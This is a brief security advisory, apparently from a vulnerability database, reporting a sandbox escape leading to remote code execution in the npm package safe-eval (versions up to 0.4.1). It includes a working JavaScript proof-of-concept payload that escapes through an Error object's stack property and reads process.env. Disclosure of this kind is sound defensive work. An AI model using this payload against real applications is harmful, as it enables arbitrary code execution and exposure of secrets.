| Package | Affected versions | Patched versions |
|---|---|---|
| safe-eval | ≤ 0.4.1 |
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
